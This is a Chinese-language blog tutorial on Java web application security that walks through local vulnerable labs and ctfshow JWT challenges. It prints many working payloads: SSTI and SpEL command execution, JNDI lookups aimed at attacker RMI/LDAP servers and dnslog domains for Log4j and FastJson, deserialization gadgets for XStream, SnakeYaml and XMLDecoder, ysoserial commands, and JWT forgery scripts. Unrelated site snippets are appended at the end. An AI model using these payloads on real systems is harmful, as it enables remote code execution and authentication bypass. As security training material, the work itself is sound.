Java安全

Java安全

Java2Sec靶场搭建

靶场地址

https://github.com/bewhale/JavaSec

查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改

在这里插入图片描述

使用小皮面板的mysql,新建一个数据名为javasec的数据库

在这里插入图片描述

运行javasec.sql文件

在这里插入图片描述

下载运行jar包即可

java -jar javasec-0.0.1-SNAPSHOT.jar

在这里插入图片描述

访问本地8000端口,用户名密码admin,admin

在这里插入图片描述

Hello-Java-Sec靶场搭建

靶场地址

https://github.com/j3ers3/Hello-Java-Sec

查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改

在这里插入图片描述

使用小皮面板的mysql,新建一个数据名为test的数据库

在这里插入图片描述

运行db.sql文件

在这里插入图片描述

下载运行jar包即可

java -jar javasec-1.10.jar

在这里插入图片描述

访问本地8888端口,用户名密码admin,admin

在这里插入图片描述

SQL注入

JDBC

1、采用Statement方法拼接SQL语句

在这里插入图片描述

2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

在这里插入图片描述

3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入

在这里插入图片描述

安全写法:SQL语句占位符(?) + PrepareStatement预编译

MyBatis

MyBatis支持两种参数符号,一种是#,另一种是KaTeX parse error: Expected 'EOF', got '#' at position 2: ,#̲使用预编译,使用拼接SQL。

1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.

在这里插入图片描述

2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.

在这里插入图片描述

3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.

在这里插入图片描述

代码审计案例

inxedu后台MyBatis注入

修改配置文件

在这里插入图片描述

使用mysql5.5.29

在这里插入图片描述

直接运行sql文件

在这里插入图片描述

白盒审计思路

查看外部引用库

在这里插入图片描述

引用了Mybatis库说明使用Mybatis库

在这里插入图片描述

搜索%${

在这里插入图片描述

搜索(${,

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

路由地址是访问delete

在这里插入图片描述

路由地址是/admin/article

在这里插入图片描述

访问/admin/article/delete
在这里插入图片描述

点击删除可以看到提交了articelld数据,刚刚接受的也是articelId

在这里插入图片描述

将数据包复制出来,在注入点加上*

在这里插入图片描述

使用sqlmap跑出注入点

在这里插入图片描述

在这里插入图片描述

跑出表单名

python sqlmap.py -r "C:\Users\强少张\Desktop\1.txt" --batch --tables

在这里插入图片描述

XXE注入-Reader&Builder

XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

审计的函数

XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

SSTI模版-Thymeleaf&URL

SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf

在这里插入图片描述

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::

在这里插入图片描述

其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html

SPEL表达式-SpringBoot框架

SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
1、Spring表达式
2、Spring反射绕过

审计的函数

SpelExpressionParser

getValue

参考:https://www.jianshu.com/p/e3c77c053359

在这里插入图片描述

在这里插入图片描述

T(java.lang.Runtime).getRuntime().exec("calc")

在这里插入图片描述

RCE执行

审计函数

RuntimeExec

在这里插入图片描述

在这里插入图片描述

ScriptEngineManager

在这里插入图片描述

var a = mainOutput();
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};

在这里插入图片描述

引用js文件执行rce漏洞

在这里插入图片描述

Groovy

在这里插入图片描述

在这里插入图片描述

ProcessBuilder

在这里插入图片描述

在这里插入图片描述

ProcessImpl

在这里插入图片描述

在这里插入图片描述

检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量

JNDI注入-RMI&LDAP&版本

在这里插入图片描述

什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务&高版本
资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:
无黑盒思路
白盒看类函数名和可控变量

在这里插入图片描述

使用**JNDI-Injection-Exploit**构造jndi链

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.100.2

在这里插入图片描述

在这里插入图片描述

不安全组件

JSON&XML&验证&日志

-FastJson:

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson

-黑盒测试不安全组件漏洞:
见后续章节漏洞复现利用课程

-白盒审计不安全组件漏洞:

在这里插入图片描述

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":true}

在这里插入图片描述

-Log4j:

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j

${jndi:rmi://192.168.100.2:1099/s59vaf}

在这里插入图片描述

${jndi:ldap://jiwxpwcups.dgrh3.cn}

在这里插入图片描述

-Shiro:

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

黑盒:登录框架有remember

在这里插入图片描述

抓取登录数据地址

在这里插入图片描述

爆破密钥和利用链,执行代码

在这里插入图片描述

-Jackson:

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

在这里插入图片描述

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":"true"}]

在这里插入图片描述

-XStream:

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream

<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

在这里插入图片描述

先clean一下再install

在这里插入图片描述

执行sql文件

在这里插入图片描述

案例

FastJson审计

1、看引用组件版本及实现
JSON.parse() JSON.parseObject()

搜索JSON.parseObject

在这里插入图片描述

2、找可控变量及访问实现propertyJson,路径地址为admin/product,@RequestParam是springboot传入

在这里插入图片描述

查看引用库是否有fastjson

在这里插入图片描述

找到admin/product,进行抓包找到propertyJson

在这里插入图片描述
在这里插入图片描述

3、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"zrpqhbvwbc.dgrh3.cn"}

在这里插入图片描述

Log4j审计

1、看引用组件版本及实现
logger.info logger.error

搜索logger.info,找到有变量的地方

在这里插入图片描述

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

originalFileName是获取文件名file.getOriginalFilename()参数,文件名是可控的,路径是admin/uploadProductImage

在这里插入图片描述

在配置文件中查看是否有log4j

在这里插入图片描述

上传一个图片是uploadProductImage路径

在这里插入图片描述

抓一下文件上传包

在这里插入图片描述

3、测试出网回显调用访问

修改上传文件名

${jndi:ldap://uzlhyodwsr.dgrh3.cn}

在这里插入图片描述

${jndi:rmi://192.168.100.2:1099/rierdi}

在这里插入图片描述

不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求Poc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw

反序列化-原生序列化类函数

序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记ac ed 00 05开头,base64编码的特征为rO0AB,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。

0、黑盒发现(流量捕获)
0、白盒发现(特征类接口函数)

利用项目:

Yakit

在这里插入图片描述

ysoserial

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
java -jar ysoserial-all.jar

在这里插入图片描述

SerializedPayloadGenerator

原生序列化类函数:

SnakeYaml

SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化

在这里插入图片描述

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://192.168.100.2:1099/pw37y7', autoCommit: true}

在这里插入图片描述

XMLDecoder.readObject()

XMLDecoder:xml语言格式序列化类函数接口

使用XMLDecoder解析后再调用readObject()方法

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_151" class="java.beans.XMLDecoder">    <object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3">            <void index="0">                <string>cmd</string>            </void>            <void index="1">                <string>/c</string>            </void>            <void index="2">                <string>calc</string>            </void>        </array>        <void method="start" />    </object></java>

在这里插入图片描述

ObjectInputStream.readObject()

ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口

在这里插入图片描述

在这里插入图片描述

java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0

在这里插入图片描述

在这里插入图片描述

SpringBoot框架-泄漏&CVE

SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

检测清单
黑盒发现
人工识别

fofa语法:body=“Whitelabel Error Page” && icon_hash=“116323821”

图标是小叶子,报错内容是Whitelabel Error Page

在这里插入图片描述

BP指纹识别插件

在这里插入图片描述

在这里插入图片描述

白盒发现
pom.xml
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

在这里插入图片描述

引用库:Actuator
#Actuator设置全部暴露
management.endpoints.web.exposure.include=*

在这里插入图片描述

安全配置

在这里插入图片描述

泄漏安全(配置密码,AK/SK等)
JDumpSpider在这里插入图片描述
heapdump_tool

需要java8之前版本或者Java部分版本,因为已经jhat已经被移除了

在这里插入图片描述

漏洞安全(利用类,CVE漏洞等)
SpringBoot-Scan

我的工具箱有集成,需要的可以私信
在这里插入图片描述

在这里插入图片描述

SpringBootVulExploit

在这里插入图片描述

案例一
使用SpringBoot-Scan扫描springboot网址
SSpringBoot-Scan-V2.51_Win_x64_2024年龙年新春贺岁版.exe -u http://127.0.0.1:8000

在这里插入图片描述

扫描出信息泄露

在这里插入图片描述

访问http://127.0.0.1:8000/actuator/heapdump下载heapdump

在这里插入图片描述

使用JDumpSpider解析heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

在这里插入图片描述

使用SpringBootVulExploit进行漏洞扫描利用

在这里插入图片描述

使用JNDIExploit-1.3-SNAPSHOT创建一个JNDI注入环境

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 127.0.0.1 -l 1389 -p 3456

在这里插入图片描述

点击连接,利用jolokiaLogbackRCE,利用失败,应该是java版本过高导致的

在这里插入图片描述

使用SpringBoot-Scan检测漏洞
SpringBoot-Scan.exe -v http://127.0.0.1:8000

在这里插入图片描述

案例二

在这里插入图片描述

创建一个rbac数据库,执行sql文件

在这里插入图片描述

在Maven先clean再install

在这里插入图片描述

全局搜索actuator

在pom.xml中引用了

在这里插入图片描述

查看配置文件

Actuator设置全部暴露

访问网站burp被动扫描

在这里插入图片描述

访问/actuator/heapdump下载heapdump文件

在这里插入图片描述

使用JDumpSpider-1.1-SNAPSHOT-full.jar扫描heapdump文件
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar "heapdump (1)"

在这里插入图片描述

使用springboot-scan检测漏洞
SpringBoot-Scan.exe -v 192.168.100.2:8088

在这里插入图片描述

使用SpringBootExploit检测漏洞

在这里插入图片描述

Druid监控-未授权访问&信息泄漏

参考:https://developer.aliyun.com/article/1260382

Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。

在这里插入图片描述

攻击点:

1、直接拼接URL路径:druid,尝试能否直接未授权访问系统功能点。

2、结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。

3、利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台。

在这里插入图片描述

Swagger接口-导入&联动批量测试

Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。

在这里插入图片描述

1、自动化发包测试

Postman:https://github.com/hlmd/Postman-cn

点击导入选择链接

在这里插入图片描述

点击运行,勾选保存响应,如果有文件上传点可以选择上传文件

在这里插入图片描述

运行报错

在这里插入图片描述

将变量初始值和当前值//删除

在这里插入图片描述

再重新运行

在这里插入图片描述

2、自动化漏洞测试

postman联动BurpSuite 转发Xray

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

使用工具箱里的图形化xray,设置好IP端口,开启被动监听

在这里插入图片描述

使用postman再次发包,xray成功接到数据包,扫描完毕打开扫描结果

在这里插入图片描述

JWT令牌-空算法&未签名&密匙获取

JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

在这里插入图片描述

在这里插入图片描述

JWT识别

在这里插入图片描述

1、标头(Header)

Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如"HS256”、“RS256"等,以及其他可选参数,如"kid”、“jku”、"x5u"等

alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等

typ字段通常用于表示类型

还有一些其他可选参数,如"kid"、“jku”、"x5u"等

2、有效载荷(Payload)

Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。

iss:该字段表示jwt的签发者。

sub:该jwt面向的用户。

aud:jwt的接收方。

exp:jwt的过期时间,通常来说是一个时间戳。

iat:jwt的签发时间,常来说是一个时间戳。

jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问

签名(Signature)

Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。

同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

第一部分:对 JSON 的头部做 base64 编码处理得到

第二部分:对 JSON 类型的 payload 做 base64 编码处理得到

第三部分:分别对头部和载荷做base64编码,并使用.拼接起来

使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT

在线解析:https://jwt.io/

BURP插件
Hae
JSON Web Tokens

burp市场地址

在这里插入图片描述

下载的bapp后缀文件再商店中导入

在这里插入图片描述

JWT安全

1、空加密算法(攻击头部不使用加密)

签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。

2、未校验签名(攻击签名不使用签名认证)

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

3、暴力破解密钥(攻击签名知道密钥实现重组)

针对是对称加密算法(非对称没有用)

非对称要使用方法:获取源码或者公钥私钥文件

某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。

4、其他安全参考:(源码泄漏密匙,Kid注入等)

https://blog.csdn.net/weixin_44288604/article/details/128562796

JWT利用

利用项目:https://github.com/ticarpi/jwt_tool

ctfshow-345(None无签名认证)

HAE检测到JWT

在这里插入图片描述

使用官方识别一下JWT数据,这里只要两部分没有签名

在这里插入图片描述

jwt是以base64加密的,先用Decoder模块解密修改user为admin再进行base64加密在这里插入图片描述

替换JWT数据,拿到flag

在这里插入图片描述

ctfshow-346(None算法绕过签名)

JSON-Web Tokens插件已经识别

在这里插入图片描述

直接使用JSON-Web Tokens修改

在这里插入图片描述

使用jwt_tool进行解析

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI

在这里插入图片描述

修改JWT数据,修改加密为None,sub为admin

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI -T

在这里插入图片描述

去掉签名部分,发送数据

在这里插入图片描述

ctfshow-347(弱口令密钥获取)

在这里插入图片描述

使用jwt_tool爆破密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-Top-Wordpress-Passwords.txt"

在这里插入图片描述

验证123456是不是密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -p 123456

在这里插入图片描述

在官网上修改jwt数据

在这里插入图片描述

复制修改好的JWT数据成功拿到flag

在这里插入图片描述

ctfshow-348(爆破密钥上题一样)

使用jwt_tool爆破密钥

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ2MDg2NiwiZXhwIjoxNzE2NDY4MDY2LCJuYmYiOjE3MTY0NjA4NjYsInN1YiI6InVzZXIiLCJqdGkiOiIyMGUxODIyNDZkMTQ1YmUzYWYwYTU4MDVkZmRmZTY1NiJ9.zZdv09bsfIsfEqWt0LLt2Kei1ieoj_PI-OFOlSehMAA -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-T
op-Wordpress-Passwords.txt"

在这里插入图片描述

在官网上修改jwt数据

在这里插入图片描述

在这里插入图片描述

ctfshow-349(公钥私钥泄露)

JS提示,公钥私钥泄露,RSA都是以公钥加密,私钥解密,这个题是私钥加密,公钥解密

在这里插入图片描述

访问/private.key下私钥,利用python脚本加密jwt,需要安装jwt 和pyjwt

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

在这里插入图片描述

修改JWT使用post提交

在这里插入图片描述

ctfshow-350(密钥混淆攻击RS256=>HS256)

代码逻辑是以private,RS256非对称加密,但是没有private文件

在这里插入图片描述

解密只需要public解密,使用public,HS256对称加密,那么解密也会以public解密

使用js编写脚本,使用py加密出来的jwt有点问题,不知道怎么回事。

var jwt = require('jsonwebtoken');var fs = require('fs');var privateKey = fs.readFileSync('./public.key');var token = jwt.sign({ 'user': 'admin' }, privateKey, { algorithm: 'HS256' });console.log(token)

在这里插入图片描述

替换jwt拿到flag

在这里插入图片描述

黑盒JWT测试

首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:

1)未授权访问:删除Token后仍然可以正常响应对应页面

2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等

3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料

4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期

5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/30337.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图卷积网络(Graph Convolutional Network, GCN)

图卷积网络&#xff08;Graph Convolutional Network, GCN&#xff09;是一种用于处理图结构数据的深度学习模型。GCN编码器的核心思想是通过邻接节点的信息聚合来更新节点表示。 图的表示 一个图 G通常表示为 G(V,E)&#xff0c;其中&#xff1a; V 是节点集合&#xff0c;…

2024 New Relic Java 生态系统报告

New Relic 发布了 2024 年度 Java 生态系统报告&#xff0c;数据来源于使用 New Relic 监控的线上 Java 应用。从这个报告中&#xff0c;我们可以看到 Java 发展的一些趋势。 在 Java 版本方面&#xff0c;新版本的使用率越来越高。Java 11 的使用率是 32.9%&#xff0c;Java 1…

Jenkins教程-5-gitee自动化测试任务构建

上一小节我们学习了Jenkins构建gitlab自动化测试任务的方法&#xff0c;本小节我们讲解一下gitee自动化测试任务的构建方法。 接下来我们以windows系统为例&#xff0c;讲解一下构建实际自动化测试任务的具体步骤。 安装git和gitee插件 点击进入Jenkins插件管理页面 安装完插…

【植物大战僵尸杂交版】致敬传奇游戏玩家——一个普通人的六年坚持

目录 缘起 波澜 凌云 缘起 曾​​​​​​佳伟是《植物大战僵尸》的忠实粉丝&#xff0c;这款游戏给了他很多乐趣&#xff0c;也成为了他度过困难时期的精神支柱。他决定制作杂交版&#xff0c;部分原因是出于对原版游戏的热爱和致敬。 六年前&#xff0c;出于对一些pvz续作…

13.2 Go 接口的动态性

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

发布自己的c#包到nuget

1)创建自己的nuget账号 NuGet Gallery | Home 2)在Rider中-->项目文件夹右键-->properties 注意&#xff1a;必须勾选生成nuget包 3)编译后&#xff0c;将生成一个包 4)点击上传包 5)将之前的nuget包拖拽过来&#xff0c;点击上传即可&#xff0c;如果有不对的比如&a…

国际期货行情相关术语

1&#xff09;合约&#xff1a;期货行情表提供了期货交易的相关信息 &#xff0c;行情表中每一个期货合约都有合约代码&#xff08;由期货合约交易代码和合约到期月份组成&#xff09;来标识。 &#xff08;2&#xff09;开盘价&#xff1a;当日某一期货合约交易开始前五分钟集…

Mybatis(根据id查找这一行的数据)

首先在查询之前&#xff0c;我们先要做些基础的工作先创建一个以你的数据库命名的model类 我的数据库的名字叫admin 我就创建了一个Admin的类 用来方便数据的访问 然后我们就要创建一个接口来声明我们要写的方法 我创建的接口命名为AdminDao 在创建一个xml的类用来实现声明的…

failed to create network xxxx: Error response from daemon

问题描述&#xff1a; 启动项目时&#xff0c;docker内部网络冲突。 解决方案&#xff1a; 1.删除所有docker容器&#xff08;强制删除一个或多个容器&#xff0c;即使它们正在运行&#xff09; docker rm -f $(docker ps -aq) 2.验证docker容器是否删除成功 docker ps --…

RK3588 Android12音频驱动分析全网最全

最近没有搞音频相关的了&#xff0c;在搞BMS, 把之前的经验总结一下。 一、先看一下Android 12音频总架构 从这张图可以看到音频数据流一共经过了3个用户空间层的进程&#xff0c;然后才流到kernel驱动层。Android版本越高&#xff0c;通用性越高&#xff0c;耦合性越低&#…

Bug:SSH Failed Permission Denied(完美解决)

Bug&#xff1a;SSH Failed Permission Denied&#xff08;完美解决&#xff09; 今天我本机mac通过ssh访问linux服务器时报错&#xff1a;SSH Failed Permission Denied 思路&#xff1a; linux服务器sshd是否开启linux /etc/ssh/sshd_config配置是否正确&#xff08;是否开启…

使用@Value注解无法成功获取配置文件内容,常见原因

在日常的java开发中&#xff0c;我们经常会遇到一些需要将信息写在配置文件的要求&#xff0c;比如文件的输出目录&#xff0c;输入目录的。当在配置文件中写入对应的目录配置时&#xff0c;那么怎么读取配置文件的内容就需要我们去了解了。 在java中一般使用Value这个注解去读…

腾讯《地下城与勇士:起源》手游在部分安卓平台停止更新

原标题&#xff1a;因合约到期 《DNF手游》停止安卓平台更新 易采游戏网6月19日消息&#xff1a;《地下城与勇士&#xff1a;起源》(简称DNF手游)官方今天公告&#xff0c;因合作协议到期&#xff0c;自6月20日起&#xff0c;该游戏将不再在某些安卓应用商店提供。腾讯公司已经…

Stable Diffusion【光影文字】:绚丽光影,文字与城市夜景的光影之约

今天我们我们结合城市夜景背景来看一下光影文字的效果&#xff0c;我们先来看一下效果图。 一. 字融城市夜景制作光影文字方法 【第一步】&#xff1a;制作底图这里制作底图使用黑底白字。我们使用美图秀秀制作一个"小梁子"字的底图。 字体&#xff1a;默认字体 图…

XTR115的一些感悟

今天花了些时间看了下XTR115的资料&#xff0c;虽然之前经常用&#xff0c;但是电路里面的细节一直没有去深究。1、XTR115的最大电流是32mA.当环路电流接近32 mA时能自动限流&#xff0c;这个在手册里有的。我在想XTR115坏了是什么情况。以前遇到过好多个XTR115损坏的情况&…

北京银行品牌价值提升160亿元首破千亿 位居《中国500最具价值品牌》榜第85位!

6月19日&#xff0c;由世界品牌实验室(World Brand Lab)主办的第二十一届“世界品牌大会”在北京举行&#xff0c;活动现场发布了2024年《中国500最具价值品牌》榜单。在这份基于财务数据、品牌强度和消费者行为分析的年度报告中&#xff0c;北京银行最新品牌价值达1036.62亿元…

SK投屏助手:电脑控制手机,游戏与App轻松畅玩

SK投屏助手让您将手机画面完美投射至电脑屏幕&#xff0c;而且不止于此&#xff01;现在&#xff0c;您可以利用电脑反向控制手机&#xff0c;轻松操作各种游戏和应用程序。无论是在家中放松还是在工作中提高效率&#xff0c;SK投屏助手都能成为您的得力助手。立即体验无缝连接…

【第20章】Vue实战篇之Vue Router(路由)

文章目录 前言一、使用Vue-Router1.安装2. 创建路由器实例3. 注册路由器插件4. 根组件 二、访问路由器1.理论2.使用3. 展示 三、嵌套路由(子路由)1. 准备文件2. 配置路由3. 菜单配置4. 展示 总结 前言 Vue Router 是 Vue.js 的官方路由。它与 Vue.js 核心深度集成&#xff0c;…